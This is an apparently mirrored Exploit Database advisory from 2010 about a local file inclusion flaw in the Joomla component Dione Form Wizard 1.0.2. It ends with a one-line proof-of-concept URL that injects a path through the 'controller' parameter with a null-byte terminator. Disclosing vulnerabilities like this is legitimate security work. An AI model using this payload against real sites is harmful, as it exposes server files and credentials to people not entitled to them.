Joomla! Component FDione Form Wizard 1.0.2 – Local File Inclusion

• Exploit Database
• 113 阅读

• 作者： Chip d3 bi0s
  日期： 2010-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12595/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42

  ----------------------------------------------------------------------------------------- Joomla Component FDione Form Wizard lfi vulnerability -----------------------------------------------------------------------------------------   Author : Chip D3 Bi0s Email : chipdebios[alt+64]gmail.com Date : 2010-05-13 Impact : Exposure of sensitive information Where : From Remote ---------------------------------------------------------------------------   Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~   Application : Dione Form Wizard version : 1.0.2 Developer : Dione Soft Company License : GPLtype: Commercial price : $20 Date Added : 9 may 2010 Download : http://dionesoft.com/products/dione_form_wizard/product.html   Description :   Dione Form Wizard is Joomla! component allows website administrator to create web forms easily through simple drag-and-drop editor.   This product gives you the power to create forms that run inside Joomla without requiring knowledge of HTML, MySQL and PHP.   The main idea of the Dione Form Wizard is to give a tool that is enabling you to create a dynamic forms in minutes within your Joomla! CMS. ---------------------------------------------------------------------------   Poc/Exploit: ~~~~~~~~~   http://127.0.0.1/[path]/index.php?option=com_dioneformwizard&controller=[LFI]%00       +++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America +++++++++++++++++++++++++++++++++++++++